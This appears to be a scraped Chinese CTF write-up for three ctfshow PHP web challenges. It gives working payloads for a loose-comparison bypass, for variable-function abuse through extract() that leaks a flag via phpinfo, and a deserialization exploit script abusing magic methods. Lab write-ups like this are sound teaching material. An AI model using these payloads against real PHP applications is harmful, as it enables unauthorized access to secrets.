当前位置: 首页 > news >正文

ctfshow 年CTF web

除夕

Notice: Undefined index: year in /var/www/html/index.php on line 16
<?phpinclude "flag.php";$year = $_GET['year'];if($year==2022 && $year+1!==2023){echo $flag;
}else{highlight_file(__FILE__);
} 

弱比较绕过很简单,连函数都没有直接秒了

/index.php?year=2022.0

初三

<?phperror_reporting(0);
extract($_GET);
include "flag.php";
highlight_file(__FILE__);$_=function($__,$___){return $__==$___?$___:$__;
};
$$__($_($_GET{$___
}[$____]{$_____
}(),$flag));

这段代码很S,我只能说

$_=function($__,$___){return $__==$___?$___:$__;
};
传参$__$___如果二者相等则返回$___不然返回$__

上面的格式写出来很难看我们把他放在一起

$$__($_($_GET{$___}[$____]{$_____}(),$flag));
这样子就好看了,函数$__传参两个一个是$_GET{$___}[$____]{$_____}(),一个是flag
然后在php特性中[$a]{$a}是等效的
我们只要$_GET[$___][$____][$_____]和flag相等就可以
但是外面这个$$__我们还没说是啥这个是可控的我们可以让他为一个打印的函数就可以把返回的flag打印出来
由于弱比较所以我们就可以数组绕过

然后呢这里我问了几个师傅都是说的是二维数组,由a来当数组名这么来理解然后

phpinfo会等于$flag
绕过弱比较
?__=x&x=var_dump&___=a&____=b&_____=c&a[b][c]=phpinfo

初六

<?phpinclude "flag.php";class happy2year{private $secret;private $key;function __wakeup(){$this->secret="";}function __call($method,$argv){return call_user_func($this->key, array($method,$argv));}function getSecret($key){$key=$key?$key:$this->key;  //如果存在key那么就为原值不然把$this->key赋值给keyreturn $this->createSecret($key);    }function createSecret($key){return base64_encode($this->key.$this->secret);}function __get($arg){global $flag;$arg="get".$arg;$this->$arg = $flag;return $this->secret;}function __set($arg,$argv){$this->secret=base64_encode($arg.$argv);}function __invoke(){return $this->$secret;}function __toString(){return base64_encode($this->secret().$this->secret);}function __destruct(){$this->secret = "";}}highlight_file(__FILE__);
error_reporting(0);
$data=$_POST['data'];
$key = $_POST['key'];
$obj = unserialize($data);
if($obj){$secret = $obj->getSecret($key);print("你提交的key是".$key."\n生成的secret是".$secret);
} 

这次是真学到了,之前我只知道回调函数的利用但是不知道原理

function __call($method,$argv){return call_user_func($this->key, array($method,$argv));}
当调用不存在的方法时就会回调使得key可控
这里有一个重点就是$this$this在__construct中是被新创建的下面的EXP中也没有为其赋值,所以他代表的就是对象实例但是并没有具体的值
而另一种$this就是来引用
类似:$this->key="baozongwi"来赋值

审计版

<?phpinclude "flag.php";class happy2year{private $secret;private $key;function __wakeup(){$this->secret="";   //让secret为空}function __call($method,$argv){return call_user_func($this->key, array($method,$argv));  //回调可控使得我命令key为$this}function getSecret($key){$key=$key?$key:$this->key;  //如果存在key那么就为原值不然把$this->key赋值给keyreturn $this->createSecret($key);    }function createSecret($key){return base64_encode($this->key.$this->secret);  //由于secret为空所以返回的是$this 的base64值}function __get($arg){global $flag;       //全局变量   $flag$arg="get".$arg;     $this->$arg = $flag;       //之前不是说到$this 没有具体的值嘛,这里有了把flag赋值给$argreturn $this->secret;                }function __set($arg,$argv){$this->secret=base64_encode($arg.$argv);   //这里再进行一次编码}function __invoke(){return $this->$secret;}function __toString(){return base64_encode($this->secret().$this->secret);    //再次编码所以最后得到的flag只需要三次解码而不是四次}function __destruct(){$this->secret = "";  //清空}}

EXP

<?php
class happy2year{private $secret;private $key;function __construct(){$this->key=$this;}
}
echo urlencode(serialize(new happy2year()));
?>

然后就会得到经过base64加密的flag

http://www.lryc.cn/news/362464.html

相关文章:

  • 原型链、闭包、手写一个闭包函数、 闭包有哪些优缺点、原型链继承
  • linux中SSH_ASKPASS全局变量的作用
  • 9 -力扣高频 SQL 50 题(基础版)
  • TCP的重传机制
  • pg 数据库,获取时间字段值的具体小时,赋值给其他字段
  • 做视频号小店什么类目最容易爆单?其实,弄懂这三点就会选品了
  • Nginx作为下载站点
  • vue3简单快速实现主题切换功能
  • 国联易安:网络反不正当竞争,要防患于未然
  • Linux 网络配置 01
  • 快速入门C++正则表达式
  • java —— 缓冲字符输入流/缓冲字符输出流
  • blender从视频中动作捕捉,绑定到人物模型
  • 掘金滑块验证码安全升级,继续破解
  • 数据结构练习题——Java实现
  • 行为设计模式之状态模式
  • 找回以前的视频:技术与实践3个指南
  • GCN 代码解析(一) for pytorch
  • 2024年云计算、信号处理与网络技术国际学术会议(ICCCSPNT 2024)
  • 希尔排序法
  • thinkphp6.0版本下子查询sql处理
  • flowable工作流 完成任务代码 及扩展节点审核人(实现多级部门主管 审核等)详解【JAVA+springboot】
  • 【电源专题】一体成型电感为什么需要注意耐压问题
  • 如何看待时间序列与机器学习?
  • vue图标不显示
  • 文件夹如何加密码全攻略,5个文件夹加密方法新手也能学
  • useState和store的区别
  • vscode远程登录阿里云服务器【使用密钥方式--后期无需再进行密码登录】【外包需要密码】
  • 解决uniapp里的onNavigationBarSearchInputClicked不生效
  • Windows下搭建Cmake编译环境进行C/C++文件的编译